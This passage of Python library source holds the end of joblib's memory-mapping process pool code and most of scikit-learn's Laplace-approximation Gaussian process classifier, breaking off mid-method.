                self._reducers)

    def __setstate__(self, state):
        (self._reader, self._writer, self._rlock, self._wlock,
         self._reducers) = state
        self._make_methods()

    def empty(self):
        return not self._reader.poll()

    def _make_methods(self):
        self._recv = recv = self._reader.recv
        racquire, rrelease = self._rlock.acquire, self._rlock.release

        def get():
            racquire()
            try:
                return recv()
            finally:
                rrelease()

        self.get = get

        if self._reducers:
            def send(obj):
                buffer = BytesIO()
                CustomizablePickler(buffer, self._reducers).dump(obj)
                self._writer.send_bytes(buffer.getvalue())
            self._send = send
        else:
            self._send = send = self._writer.send
        if self._wlock is None:
            # writes to a message oriented win32 pipe are atomic
            self.put = send
        else:
            wlock_acquire, wlock_release = (
                self._wlock.acquire, self._wlock.release)

            def put(obj):
                wlock_acquire()
                try:
                    return send(obj)
                finally:
                    wlock_release()

            self.put = put


class PicklingPool(Pool):
    """Pool implementation with customizable pickling reducers.

    This is useful to control how data is shipped between processes
    and makes it possible to use shared memory without useless
    copies induces by the default pickling methods of the original
    objects passed as arguments to dispatch.

    `forward_reducers` and `backward_reducers` are expected to be
    dictionaries with key/values being `(type, callable)` pairs where
    `callable` is a function that, given an instance of `type`, will return a
    tuple `(constructor, tuple_of_objects)` to rebuild an instance out of the
    pickled `tuple_of_objects` as would return a `__reduce__` method.
    See the standard library documentation about pickling for more details.

    """

    def __init__(self, processes=None, forward_reducers=None,
                 backward_reducers=None, **kwargs):
        if forward_reducers is None:
            forward_reducers = dict()
        if backward_reducers is None:
            backward_reducers = dict()
        self._forward_reducers = forward_reducers
        self._backward_reducers = backward_reducers
        poolargs = dict(processes=processes)
        poolargs.update(kwargs)
        super(PicklingPool, self).__init__(**poolargs)

    def _setup_queues(self):
        context = getattr(self, '_ctx', mp)
        self._inqueue = CustomizablePicklingQueue(context,
                                                  self._forward_reducers)
        self._outqueue = CustomizablePicklingQueue(context,
                                                   self._backward_reducers)
        self._quick_put = self._inqueue._send
        self._quick_get = self._outqueue._recv


def delete_folder(folder_path):
    """Utility function to cleanup a temporary folder if still existing."""
    try:
        if os.path.exists(folder_path):
            shutil.rmtree(folder_path)
    except WindowsError:
        warnings.warn("Failed to clean temporary folder: %s" % folder_path)


class MemmapingPool(PicklingPool):
    """Process pool that shares large arrays to avoid memory copy.

    This drop-in replacement for `multiprocessing.pool.Pool` makes
    it possible to work efficiently with shared memory in a numpy
    context.

    Existing instances of numpy.memmap are preserved: the child
    suprocesses will have access to the same shared memory in the
    original mode except for the 'w+' mode that is automatically
    transformed as 'r+' to avoid zeroing the original data upon
    instantiation.

    Furthermore large arrays from the parent process are automatically
    dumped to a temporary folder on the filesystem such as child
    processes to access their content via memmaping (file system
    backed shared memory).

    Note: it is important to call the terminate method to collect
    the temporary folder used by the pool.

    Parameters
    ----------
    processes: int, optional
        Number of worker processes running concurrently in the pool.
    initializer: callable, optional
        Callable executed on worker process creation.
    initargs: tuple, optional
        Arguments passed to the initializer callable.
    temp_folder: str, optional
        Folder to be used by the pool for memmaping large arrays
        for sharing memory with worker processes. If None, this will try in
        order:
        - a folder pointed by the JOBLIB_TEMP_FOLDER environment variable,
        - /dev/shm if the folder exists and is writable: this is a RAMdisk
          filesystem available by default on modern Linux distributions,
        - the default system temporary folder that can be overridden
          with TMP, TMPDIR or TEMP environment variables, typically /tmp
          under Unix operating systems.
    max_nbytes int or None, optional, 1e6 by default
        Threshold on the size of arrays passed to the workers that
        triggers automated memory mapping in temp_folder.
        Use None to disable memmaping of large arrays.
    mmap_mode: {'r+', 'r', 'w+', 'c'}
        Memmapping mode for numpy arrays passed to workers.
        See 'max_nbytes' parameter documentation for more details.
    forward_reducers: dictionary, optional
        Reducers used to pickle objects passed from master to worker
        processes: see below.
    backward_reducers: dictionary, optional
        Reducers used to pickle return values from workers back to the
        master process.
    verbose: int, optional
        Make it possible to monitor how the communication of numpy arrays
        with the subprocess is handled (pickling or memmaping)
    prewarm: bool or str, optional, "auto" by default.
        If True, force a read on newly memmaped array to make sure that OS pre-
        cache it in memory. This can be useful to avoid concurrent disk access
        when the same data array is passed to different worker processes.
        If "auto" (by default), prewarm is set to True, unless the Linux shared
        memory partition /dev/shm is available and used as temp_folder.

    `forward_reducers` and `backward_reducers` are expected to be
    dictionaries with key/values being `(type, callable)` pairs where
    `callable` is a function that give an instance of `type` will return
    a tuple `(constructor, tuple_of_objects)` to rebuild an instance out
    of the pickled `tuple_of_objects` as would return a `__reduce__`
    method. See the standard library documentation on pickling for more
    details.

    """

    def __init__(self, processes=None, temp_folder=None, max_nbytes=1e6,
                 mmap_mode='r', forward_reducers=None, backward_reducers=None,
                 verbose=0, context_id=None, prewarm=False, **kwargs):
        if forward_reducers is None:
            forward_reducers = dict()
        if backward_reducers is None:
            backward_reducers = dict()
        if context_id is not None:
            warnings.warn('context_id is deprecated and ignored in joblib'
                          ' 0.9.4 and will be removed in 0.11',
                          DeprecationWarning)

        # Prepare a sub-folder name for the serialization of this particular
        # pool instance (do not create in advance to spare FS write access if
        # no array is to be dumped):
        use_shared_mem = False
        pool_folder_name = "joblib_memmaping_pool_%d_%d" % (
            os.getpid(), id(self))
        if temp_folder is None:
            temp_folder = os.environ.get('JOBLIB_TEMP_FOLDER', None)
        if temp_folder is None:
            if os.path.exists(SYSTEM_SHARED_MEM_FS):
                try:
                    temp_folder = SYSTEM_SHARED_MEM_FS
                    pool_folder = os.path.join(temp_folder, pool_folder_name)
                    if not os.path.exists(pool_folder):
                        os.makedirs(pool_folder)
                    use_shared_mem = True
                except IOError:
                    # Missing rights in the the /dev/shm partition,
                    # fallback to regular temp folder.
                    temp_folder = None
        if temp_folder is None:
            # Fallback to the default tmp folder, typically /tmp
            temp_folder = tempfile.gettempdir()
        temp_folder = os.path.abspath(os.path.expanduser(temp_folder))
        pool_folder = os.path.join(temp_folder, pool_folder_name)
        self._temp_folder = pool_folder

        # Register the garbage collector at program exit in case caller forgets
        # to call terminate explicitly: note we do not pass any reference to
        # self to ensure that this callback won't prevent garbage collection of
        # the pool instance and related file handler resources such as POSIX
        # semaphores and pipes
        pool_module_name = whichmodule(delete_folder, 'delete_folder')

        def _cleanup():
            # In some cases the Python runtime seems to set delete_folder to
            # None just before exiting when accessing the delete_folder
            # function from the closure namespace. So instead we reimport
            # the delete_folder function explicitly.
            # https://github.com/joblib/joblib/issues/328
            # We cannot just use from 'joblib.pool import delete_folder'
            # because joblib should only use relative imports to allow
            # easy vendoring.
            delete_folder = __import__(
                pool_module_name, fromlist=['delete_folder']).delete_folder
            delete_folder(pool_folder)

        atexit.register(_cleanup)

        if np is not None:
            # Register smart numpy.ndarray reducers that detects memmap backed
            # arrays and that is alse able to dump to memmap large in-memory
            # arrays over the max_nbytes threshold
            if prewarm == "auto":
                prewarm = not use_shared_mem
            forward_reduce_ndarray = ArrayMemmapReducer(
                max_nbytes, pool_folder, mmap_mode, verbose,
                prewarm=prewarm)
            forward_reducers[np.ndarray] = forward_reduce_ndarray
            forward_reducers[np.memmap] = reduce_memmap

            # Communication from child process to the parent process always
            # pickles in-memory numpy.ndarray without dumping them as memmap
            # to avoid confusing the caller and make it tricky to collect the
            # temporary folder
            backward_reduce_ndarray = ArrayMemmapReducer(
                None, pool_folder, mmap_mode, verbose)
            backward_reducers[np.ndarray] = backward_reduce_ndarray
            backward_reducers[np.memmap] = reduce_memmap

        poolargs = dict(
            processes=processes,
            forward_reducers=forward_reducers,
            backward_reducers=backward_reducers)
        poolargs.update(kwargs)
        super(MemmapingPool, self).__init__(**poolargs)

    def terminate(self):
        n_retries = 10
        for i in range(n_retries):
            try:
                super(MemmapingPool, self).terminate()
                break
            except WindowsError as e:
                # Workaround  occasional "[Error 5] Access is denied" issue
                # when trying to terminate a process under windows.
                sleep(0.1)
                if i + 1 == n_retries:
                    warnings.warn("Failed to terminate worker processes in "
                                  " multiprocessing pool: %r" % e)
        delete_folder(self._temp_folder)






"""Gaussian processes classification."""

# Authors: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
#
# License: BSD 3 clause

import warnings
from operator import itemgetter

import numpy as np
from scipy.linalg import cholesky, cho_solve, solve
from scipy.optimize import fmin_l_bfgs_b
from scipy.special import erf

from sklearn.base import BaseEstimator, ClassifierMixin, clone
from sklearn.gaussian_process.kernels \
    import RBF, CompoundKernel, ConstantKernel as C
from sklearn.utils.validation import check_X_y, check_is_fitted, check_array
from sklearn.utils import check_random_state
from sklearn.preprocessing import LabelEncoder
from sklearn.multiclass import OneVsRestClassifier, OneVsOneClassifier


# Values required for approximating the logistic sigmoid by
# error functions. coefs are obtained via:
# x = np.array([0, 0.6, 2, 3.5, 4.5, np.inf])
# b = logistic(x)
# A = (erf(np.dot(x, self.lambdas)) + 1) / 2
# coefs = lstsq(A, b)[0]
LAMBDAS = np.array([0.41, 0.4, 0.37, 0.44, 0.39])[:, np.newaxis]
COEFS = np.array([-1854.8214151, 3516.89893646, 221.29346712,
                  128.12323805, -2010.49422654])[:, np.newaxis]


class _BinaryGaussianProcessClassifierLaplace(BaseEstimator):
    """Binary Gaussian process classification based on Laplace approximation.

    The implementation is based on Algorithm 3.1, 3.2, and 5.1 of
    ``Gaussian Processes for Machine Learning'' (GPML) by Rasmussen and
    Williams.

    Internally, the Laplace approximation is used for approximating the
    non-Gaussian posterior by a Gaussian.

    Currently, the implementation is restricted to using the logistic link
    function.

    Parameters
    ----------
    kernel : kernel object
        The kernel specifying the covariance function of the GP. If None is
        passed, the kernel "1.0 * RBF(1.0)" is used as default. Note that
        the kernel's hyperparameters are optimized during fitting.

    optimizer : string or callable, optional (default: "fmin_l_bfgs_b")
        Can either be one of the internally supported optimizers for optimizing
        the kernel's parameters, specified by a string, or an externally
        defined optimizer passed as a callable. If a callable is passed, it
        must have the  signature::

            def optimizer(obj_func, initial_theta, bounds):
                # * 'obj_func' is the objective function to be maximized, which
                #   takes the hyperparameters theta as parameter and an
                #   optional flag eval_gradient, which determines if the
                #   gradient is returned additionally to the function value
                # * 'initial_theta': the initial value for theta, which can be
                #   used by local optimizers
                # * 'bounds': the bounds on the values of theta
                ....
                # Returned are the best found hyperparameters theta and
                # the corresponding value of the target function.
                return theta_opt, func_min

        Per default, the 'fmin_l_bfgs_b' algorithm from scipy.optimize
        is used. If None is passed, the kernel's parameters are kept fixed.
        Available internal optimizers are::

            'fmin_l_bfgs_b'

    n_restarts_optimizer: int, optional (default: 0)
        The number of restarts of the optimizer for finding the kernel's
        parameters which maximize the log-marginal likelihood. The first run
        of the optimizer is performed from the kernel's initial parameters,
        the remaining ones (if any) from thetas sampled log-uniform randomly
        from the space of allowed theta-values. If greater than 0, all bounds
        must be finite. Note that n_restarts_optimizer=0 implies that one
        run is performed.

    max_iter_predict: int, optional (default: 100)
        The maximum number of iterations in Newton's method for approximating
        the posterior during predict. Smaller values will reduce computation
        time at the cost of worse results.

    warm_start : bool, optional (default: False)
        If warm-starts are enabled, the solution of the last Newton iteration
        on the Laplace approximation of the posterior mode is used as
        initialization for the next call of _posterior_mode(). This can speed
        up convergence when _posterior_mode is called several times on similar
        problems as in hyperparameter optimization.

    copy_X_train : bool, optional (default: True)
        If True, a persistent copy of the training data is stored in the
        object. Otherwise, just a reference to the training data is stored,
        which might cause predictions to change if the data is modified
        externally.

    random_state : integer or numpy.RandomState, optional
        The generator used to initialize the centers. If an integer is
        given, it fixes the seed. Defaults to the global numpy random
        number generator.

    Attributes
    ----------
    X_train_ : array-like, shape = (n_samples, n_features)
        Feature values in training data (also required for prediction)

    y_train_: array-like, shape = (n_samples,)
        Target values in training data (also required for prediction)

    classes_ : array-like, shape = (n_classes,)
        Unique class labels.

    kernel_: kernel object
        The kernel used for prediction. The structure of the kernel is the
        same as the one passed as parameter but with optimized hyperparameters

    L_: array-like, shape = (n_samples, n_samples)
        Lower-triangular Cholesky decomposition of the kernel in X_train_

    pi_: array-like, shape = (n_samples,)
        The probabilities of the positive class for the training points
        X_train_

    W_sr_: array-like, shape = (n_samples,)
        Square root of W, the Hessian of log-likelihood of the latent function
        values for the observed labels. Since W is diagonal, only the diagonal
        of sqrt(W) is stored.

    log_marginal_likelihood_value_: float
        The log-marginal-likelihood of ``self.kernel_.theta``
    """
    def __init__(self, kernel=None, optimizer="fmin_l_bfgs_b",
                 n_restarts_optimizer=0, max_iter_predict=100,
                 warm_start=False, copy_X_train=True, random_state=None):
        self.kernel = kernel
        self.optimizer = optimizer
        self.n_restarts_optimizer = n_restarts_optimizer
        self.max_iter_predict = max_iter_predict
        self.warm_start = warm_start
        self.copy_X_train = copy_X_train
        self.random_state = random_state

    def fit(self, X, y):
        """Fit Gaussian process classification model

        Parameters
        ----------
        X : array-like, shape = (n_samples, n_features)
            Training data

        y : array-like, shape = (n_samples,)
            Target values, must be binary

        Returns
        -------
        self : returns an instance of self.
        """
        if self.kernel is None:  # Use an RBF kernel as default
            self.kernel_ = C(1.0, constant_value_bounds="fixed") \
                * RBF(1.0, length_scale_bounds="fixed")
        else:
            self.kernel_ = clone(self.kernel)

        self.rng = check_random_state(self.random_state)

        self.X_train_ = np.copy(X) if self.copy_X_train else X

        # Encode class labels and check that it is a binary classification
        # problem
        label_encoder = LabelEncoder()
        self.y_train_ = label_encoder.fit_transform(y)
        self.classes_ = label_encoder.classes_
        if self.classes_.size > 2:
            raise ValueError("%s supports only binary classification. "
                             "y contains classes %s"
                             % (self.__class__.__name__, self.classes_))
        elif self.classes_.size == 1:
            raise ValueError("{0:s} requires 2 classes.".format(
                self.__class__.__name__))

        if self.optimizer is not None and self.kernel_.n_dims > 0:
            # Choose hyperparameters based on maximizing the log-marginal
            # likelihood (potentially starting from several initial values)
            def obj_func(theta, eval_gradient=True):
                if eval_gradient:
                    lml, grad = self.log_marginal_likelihood(
                        theta, eval_gradient=True)
                    return -lml, -grad
                else:
                    return -self.log_marginal_likelihood(theta)

            # First optimize starting from theta specified in kernel
            optima = [self._constrained_optimization(obj_func,
                                                     self.kernel_.theta,
                                                     self.kernel_.bounds)]

            # Additional runs are performed from log-uniform chosen initial
            # theta
            if self.n_restarts_optimizer > 0:
                if not np.isfinite(self.kernel_.bounds).all():
                    raise ValueError(
                        "Multiple optimizer restarts (n_restarts_optimizer>0) "
                        "requires that all bounds are finite.")
                bounds = self.kernel_.bounds
                for iteration in range(self.n_restarts_optimizer):
                    theta_initial = np.exp(self.rng.uniform(bounds[:, 0],
                                                            bounds[:, 1]))
                    optima.append(
                        self._constrained_optimization(obj_func, theta_initial,
                                                       bounds))
            # Select result from run with minimal (negative) log-marginal
            # likelihood
            lml_values = list(map(itemgetter(1), optima))
            self.kernel_.theta = optima[np.argmin(lml_values)][0]
            self.log_marginal_likelihood_value_ = -np.min(lml_values)
        else:
            self.log_marginal_likelihood_value_ = \
                self.log_marginal_likelihood(self.kernel_.theta)

        # Precompute quantities required for predictions which are independent
        # of actual query points
        K = self.kernel_(self.X_train_)

        _, (self.pi_, self.W_sr_, self.L_, _, _) = \
            self._posterior_mode(K, return_temporaries=True)

        return self

    def predict(self, X):
        """Perform classification on an array of test vectors X.

        Parameters
        ----------
        X : array-like, shape = (n_samples, n_features)

        Returns
        -------
        C : array, shape = (n_samples,)
            Predicted target values for X, values are from ``classes_``
        """
        check_is_fitted(self, ["X_train_", "y_train_", "pi_", "W_sr_", "L_"])

        # As discussed on Section 3.4.2 of GPML, for making hard binary
        # decisions, it is enough to compute the MAP of the posterior and
        # pass it through the link function
        K_star = self.kernel_(self.X_train_, X)  # K_star =k(x_star)
        f_star = K_star.T.dot(self.y_train_ - self.pi_)  # Algorithm 3.2,Line 4

        return np.where(f_star > 0, self.classes_[1], self.classes_[0])

    def predict_proba(self, X):
        """Return probability estimates for the test vector X.

        Parameters
        ----------
        X : array-like, shape = (n_samples, n_features)

        Returns
        -------
        C : array-like, shape = (n_samples, n_classes)
            Returns the probability of the samples for each class in
            the model. The columns correspond to the classes in sorted
            order, as they appear in the attribute ``classes_``.
        """
        check_is_fitted(self, ["X_train_", "y_train_", "pi_", "W_sr_", "L_"])

        # Based on Algorithm 3.2 of GPML
        K_star = self.kernel_(self.X_train_, X)  # K_star =k(x_star)
        f_star = K_star.T.dot(self.y_train_ - self.pi_)  # Line 4
        v = solve(self.L_, self.W_sr_[:, np.newaxis] * K_star)  # Line 5
        # Line 6 (compute np.diag(v.T.dot(v)) via einsum)
        var_f_star = self.kernel_.diag(X) - np.einsum("ij,ij->j", v, v)

        # Line 7:
        # Approximate \int log(z) * N(z | f_star, var_f_star)
        # Approximation is due to Williams & Barber, "Bayesian Classification
        # with Gaussian Processes", Appendix A: Approximate the logistic
        # sigmoid by a linear combination of 5 error functions.
        # For information on how this integral can be computed see
        # blitiri.blogspot.de/2012/11/gaussian-integral-of-error-function.html
        alpha = 1 / (2 * var_f_star)
        gamma = LAMBDAS * f_star
        integrals = np.sqrt(np.pi / alpha) \
            * erf(gamma * np.sqrt(alpha / (alpha + LAMBDAS**2))) \
            / (2 * np.sqrt(var_f_star * 2 * np.pi))
        pi_star = (COEFS * integrals).sum(axis=0) + .5 * COEFS.sum()

        return np.vstack((1 - pi_star, pi_star)).T

    def log_marginal_likelihood(self, theta=None, eval_gradient=False):
        """Returns log-marginal likelihood of theta for training data.

        Parameters
        ----------
        theta : array-like, shape = (n_kernel_params,) or None
            Kernel hyperparameters for which the log-marginal likelihood is
            evaluated. If None, the precomputed log_marginal_likelihood
            of ``self.kernel_.theta`` is returned.

        eval_gradient : bool, default: False
            If True, the gradient of the log-marginal likelihood with respect
            to the kernel hyperparameters at position theta is returned
            additionally. If True, theta must not be None.

        Returns
        -------
        log_likelihood : float
            Log-marginal likelihood of theta for training data.

        log_likelihood_gradient : array, shape = (n_kernel_params,), optional
            Gradient of the log-marginal likelihood with respect to the kernel
            hyperparameters at position theta.
            Only returned when eval_gradient is True.
        """
        if theta is None:
            if eval_gradient:
                raise ValueError(
                    "Gradient can only be evaluated for theta!=None")
            return self.log_marginal_likelihood_value_

        kernel = self.kernel_.clone_with_theta(theta)

        if eval_gradient:
            K, K_gradient = kernel(self.X_train_, eval_gradient=True)
        else:
            K = kernel(self.X_train_)

        # Compute log-marginal-likelihood Z and also store some temporaries
        # which can be reused for computing Z's gradient
        Z, (pi, W_sr, L, b, a) = \
            self._posterior_mode(K, return_temporaries=True)

        if not eval_gradient:
            return Z

        # Compute gradient based on Algorithm 5.1 of GPML
        d_Z = np.empty(theta.shape[0])
        # XXX: Get rid of the np.diag() in the next line
        R = W_sr[:, np.newaxis] * cho_solve((L, True), np.diag(W_sr))  # Line 7
        C = solve(L, W_sr[:, np.newaxis] * K)  # Line 8
        # Line 9: (use einsum to compute np.diag(C.T.dot(C))))
        s_2 = -0.5 * (np.diag(K) - np.einsum('ij, ij -> j', C, C)) \
            * (pi * (1 - pi) * (1 - 2 * pi))  # third derivative

        for j in range(d_Z.shape[0]):
            C = K_gradient[:, :, j]   # Line 11
            # Line 12: (R.T.ravel().dot(C.ravel()) = np.trace(R.dot(C)))
            s_1 = .5 * a.T.dot(C).dot(a) - .5 * R.T.ravel().dot(C.ravel())

            b = C.dot(self.y_train_ - pi)  # Line 13
            s_3 = b - K.dot(R.dot(b))  # Line 14

            d_Z[j] = s_1 + s_2.T.dot(s_3)  # Line 15

        return Z, d_Z

    def _posterior_mode(self, K, return_temporaries=False):
        """Mode-finding for binary Laplace GPC and fixed kernel.

        This approximates the posterior of the latent function values for given
        inputs and target observations with a Gaussian approximation and uses
        Newton's iteration to find the mode of this approximation.
        """
        # Based on Algorithm 3.1 of GPML

        # If warm_start are enabled, we reuse the last solution for the
        # posterior mode as initialization; otherwise, we initialize with 0
        if self.warm_start and hasattr(self, "f_cached") \
           and self.f_cached.shape == self.y_train_.shape:
            f = self.f_cached
        else:
            f = np.zeros_like(self.y_train_, dtype=np.float64)

        # Use Newton's iteration method to find mode of Laplace approximation
        log_marginal_likelihood = -np.inf
        for _ in range(self.max_iter_predict):
            # Line 4
            pi = 1 / (1 + np.exp(-f))
            W = pi * (1 - pi)
            # Line 5
            W_sr = np.sqrt(W)
            W_sr_K = W_sr[:, np.newaxis] * K
            B = np.eye(W.shape[0]) + W_sr_K * W_sr
            L = cholesky(B, lower=True)
            # Line 6
            b = W * f + (self.y_train_ - pi)
            # Line 7
            a = b - W_sr * cho_solve((L, True), W_sr_K.dot(b))
            # Line 8
            f = K.dot(a)

            # Line 10: Compute log marginal likelihood in loop and use as
            #          convergence criterion
            lml = -0.5 * a.T.dot(f) \
                - np.log(1 + np.exp(-(self.y_train_ * 2 - 1) * f)).sum() \
                - np.log(np.diag(L)).sum()
            # Check if we have converged (log marginal likelihood does
            # not decrease)
            # XXX: more complex convergence criterion
            if lml - log_marginal_likelihood < 1e-10:
                break
            log_marginal_likelihood = lml

        self.f_cached = f  # Remember solution for later warm-starts
        if return_temporaries:
            return log_marginal_likelihood, (pi, W_sr, L, b, a)
        else:
            return log_marginal_likelihood

    def _constrained_optimization(self, obj_func, initial_theta, bounds):
        if self.optimizer == "fmin_l_bfgs_b":
            theta_opt, func_min, convergence_dict = \
                fmin_l_bfgs_b(obj_func, initial_theta, bounds=bounds)
            if convergence_dict["warnflag"] != 0:
                warnings.warn("fmin_l_bfgs_b terminated abnormally with the "
                              " state: %s" % convergence_dict)
        elif callable(self.optimizer):
            theta_opt, func_min = \
                self.optimizer(obj_func, initial_theta, bounds=bounds)
        else:
            raise ValueError("Unknown optimizer %s." % self.optimizer)

        return theta_opt, func_min


class GaussianProcessClassifier(BaseEstimator, ClassifierMixin):
    """Gaussian process classification (GPC) based on Laplace approximation.

    The implementation is based on Algorithm 3.1, 3.2, and 5.1 of
    Gaussian Processes for Machine Learning (GPML) by Rasmussen and
    Williams.

    Internally, the Laplace approximation is used for approximating the
    non-Gaussian posterior by a Gaussian.

    Currently, the implementation is restricted to using the logistic link
    function. For multi-class classification, several binary one-versus rest
    classifiers are fitted. Note that this class thus does not implement
    a true multi-class Laplace approximation.

    Parameters
    ----------
    kernel : kernel object
        The kernel specifying the covariance function of the GP. If None is
        passed, the kernel "1.0 * RBF(1.0)" is used as default. Note that
        the kernel's hyperparameters are optimized during fitting.

    optimizer : string or callable, optional (default: "fmin_l_bfgs_b")
        Can either be one of the internally supported optimizers for optimizing
        the kernel's parameters, specified by a string, or an externally
        defined optimizer passed as a callable. If a callable is passed, it
        must have the  signature::

            def optimizer(obj_func, initial_theta, bounds):
                # * 'obj_func' is the objective function to be maximized, which
                #   takes the hyperparameters theta as parameter and an
                #   optional flag eval_gradient, which determines if the
                #   gradient is returned additionally to the function value
                # * 'initial_theta': the initial value for theta, which can be
                #   used by local optimizers
                # * 'bounds': the bounds on the values of theta
                ....
                # Returned are the best found hyperparameters theta and
                # the corresponding value of the target function.
                return theta_opt, func_min

        Per default, the 'fmin_l_bfgs_b' algorithm from scipy.optimize
        is used. If None is passed, the kernel's parameters are kept fixed.
        Available internal optimizers are::

            'fmin_l_bfgs_b'

    n_restarts_optimizer: int, optional (default: 0)
        The number of restarts of the optimizer for finding the kernel's
        parameters which maximize the log-marginal likelihood. The first run
        of the optimizer is performed from the kernel's initial parameters,
        the remaining ones (if any) from thetas sampled log-uniform randomly
        from the space of allowed theta-values. If greater than 0, all bounds
        must be finite. Note that n_restarts_optimizer=0 implies that one
        run is performed.

    max_iter_predict: int, optional (default: 100)
        The maximum number of iterations in Newton's method for approximating
        the posterior during predict. Smaller values will reduce computation
        time at the cost of worse results.

    warm_start : bool, optional (default: False)
        If warm-starts are enabled, the solution of the last Newton iteration
        on the Laplace approximation of the posterior mode is used as
        initialization for the next call of _posterior_mode(). This can speed
        up convergence when _posterior_mode is called several times on similar
        problems as in hyperparameter optimization.

    copy_X_train : bool, optional (default: True)
        If True, a persistent copy of the training data is stored in the
        object. Otherwise, just a reference to the training data is stored,
        which might cause predictions to change if the data is modified
        externally.

    random_state : integer or numpy.RandomState, optional
        The generator used to initialize the centers. If an integer is
        given, it fixes the seed. Defaults to the global numpy random
        number generator.

    multi_class: string, default: "one_vs_rest"
        Specifies how multi-class classification problems are handled.
        Supported are "one_vs_rest" and "one_vs_one". In "one_vs_rest",
        one binary Gaussian process classifier is fitted for each class, which
        is trained to separate this class from the rest. In "one_vs_one", one
        binary Gaussian process classifier is fitted for each pair of classes,
        which is trained to separate these two classes. The predictions of
        these binary predictors are combined into multi-class predictions.
        Note that "one_vs_one" does not support predicting probability
        estimates.

    n_jobs : int, optional, default: 1
        The number of jobs to use for the computation. If -1 all CPUs are used.
        If 1 is given, no parallel computing code is used at all, which is
        useful for debugging. For n_jobs below -1, (n_cpus + 1 + n_jobs) are
        used. Thus for n_jobs = -2, all CPUs but one are used.

    Attributes
    ----------
    kernel_ : kernel object
        The kernel used for prediction. In case of binary classification,
        the structure of the kernel is the same as the one passed as parameter
        but with optimized hyperparameters. In case of multi-class
        classification, a CompoundKernel is returned which consists of the
        different kernels used in the one-versus-rest classifiers.

    log_marginal_likelihood_value_: float
        The log-marginal-likelihood of ``self.kernel_.theta``

    classes_ : array-like, shape = (n_classes,)
        Unique class labels.

    n_classes_ : int
        The number of classes in the training data
    """
    def __init__(self, kernel=None, optimizer="fmin_l_bfgs_b",
                 n_restarts_optimizer=0, max_iter_predict=100,
                 warm_start=False, copy_X_train=True, random_state=None,
                 multi_class="one_vs_rest", n_jobs=1):
        self.kernel = kernel
        self.optimizer = optimizer
        self.n_restarts_optimizer = n_restarts_optimizer
        self.max_iter_predict = max_iter_predict
        self.warm_start = warm_start
        self.copy_X_train = copy_X_train
        self.random_state = random_state
        self.multi_class = multi_class
        self.n_jobs = n_jobs

    def fit(self, X, y):
        """Fit Gaussian process classification model

        Parameters
        ----------
        X : array-like, shape = (n_samples, n_features)
            Training data

        y : array-like, shape = (n_samples,)
            Target values, must be binary

        Returns
        -------
        self : returns an instance of self.
        """
        X, y = check_X_y(X, y, multi_output=False)

        self.base_estimator_ = _BinaryGaussianProcessClassifierLaplace(
            self.kernel, self.optimizer, self.n_restarts_optimizer,
            self.max_iter_predict, self.warm_start, self.copy_X_train,
            self.random_state)

        self.classes_ = np.unique(y)
        self.n_classes_ = self.classes_.size
        if self.n_classes_ == 1:
            raise ValueError("GaussianProcessClassifier requires 2 or more "
                             "distinct classes. Only class %s present."
                             % self.classes_[0])
        if self.n_classes_ > 2:
            if self.multi_class == "one_vs_rest":
                self.base_estimator_ = \
                    OneVsRestClassifier(self.base_estimator_,
                                        n_jobs=self.n_jobs)
            elif self.multi_class == "one_vs_one":
                self.base_estimator_ = \
                    OneVsOneClassifier(self.base_estimator_,
                                       n_jobs=self.n_jobs)
            else:
                raise ValueError("Unknown multi-class mode %s"
                                 % self.multi_class)

        self.base_estimator_.fit(X, y)

        if self.n_classes_ > 2:
            self.log_marginal_likelihood_value_ = np.mean(
                [estimator.log_marginal_likelihood()
                 for estimator in self.base_estimator_.estimators_])
        else:
            self.log_marginal_likelihood_value_ = \
                self.base_estimator_.log_marginal_likelihood()

        return self

    def predict(self, X):
        """Perform classification on an array of test vectors X.

        Parameters
        ----------
        X : array-like, shape = (n_samples, n_features)

        Returns
        -------
        C : array, shape = (n_samples,)
            Predicted target values for X, values are from ``classes_``
        """
        check_is_fitted(self, ["classes_", "n_classes_"])
        X = check_array(X)
        return self.base_estimator_.predict(X)

    def predict_proba(self, X):
        """Return probability estimates for the test vector X.

        Parameters
        ----------
        X : array-like, shape = (n_samples, n_features)

        Returns
        -------
        C : array-like, shape = (n_samples, n_classes)
            Returns the probability of the samples for each class in
            the model. The columns correspond to the classes in sorted
            order, as they appear in the attribute `classes_`.
        """
        check_is_fitted(self, ["classes_", "n_classes_"])
        if self.n_classes_ > 2 and self.multi_class == "one_vs_one":
            raise ValueError("one_vs_one multi-class mode does not support "
                             "predicting probability estimates. Use "
                             "one_vs_rest mode instead.")
        X = check_array(X)
        return self.base_estimator_.predict_proba(X)

    @property
    def kernel_(self):
        if self.n_classes_ == 2:
            return self.base_estimator_.kernel_
        else:
            return CompoundKernel(
                [estimator.kernel_
                 for estimator in self.base_estimator_.estimators_])

    def log_marginal_likelihood(self, theta=None, eval_gradient=False):
        """Returns log-marginal likelihood of theta for training data.

        In the case of multi-class classification, the mean log-marginal
        likelihood of the one-versus-rest classifiers are returned.

        Parameters
        ----------
        theta : array-like, shape = (n_kernel_params,) or none
            Kernel hyperparameters for which the log-marginal likelihood is
            evaluated. In the case of multi-class classification, theta may
            be the  hyperparameters of the compound kernel or of an individual
            kernel. In the latter case, all individual kernel get assigned the
            same theta values. If None, the precomputed log_marginal_likelihood
            of ``self.kernel_.theta`` is returned.

        eval_gradient : bool, default: False
            If True, the gradient of the log-marginal likelihood with respect
            to the kernel hyperparameters at position theta is returned
            additionally. Note that gradient computation is not supported
            for non-binary classification. If True, theta must not be None.

        Returns
        -------
        log_likelihood : float
            Log-marginal likelihood of theta for training data.

        log_likelihood_gradient : array, shape = (n_kernel_params,), optional
            Gradient of the log-marginal likelihood with respect to the kernel
            hyperparameters at position theta.
            Only returned when eval_gradient is True.
        """
        check_is_fitted(self, ["classes_", "n_classes_"])

        if theta is None:
            if eval_gradient:
                raise ValueError(
                    "Gradient can only be evaluated for theta!=None")
            return self.log_marginal_likelihood_value_

        theta = np.asarray(theta)
        if self.n_classes_ == 2:
            return self.base_estimator_.log_marginal_likelihood(
                theta, eval_gradient)
        else:
            if eval_gradient:
                raise NotImplementedError(
                    "Gradient of log-marginal-likelihood not implemented for "
                    "multi-class GPC.")
            estimators = self.base_estimator_.estimators_
            n_dims = estimators[0].kernel_.n_dims
            if theta.shape[0] == n_dims:  # use same theta for all sub-kernels
                return np.mean(
                    [estimator.log_marginal_likelihood(theta)
                     for i, estimator in enumerate(estimators)])
            elif theta.shape[0] == n_dims * self.classes_.shape[0]:
                # theta for compound kernel
                return np.mean(
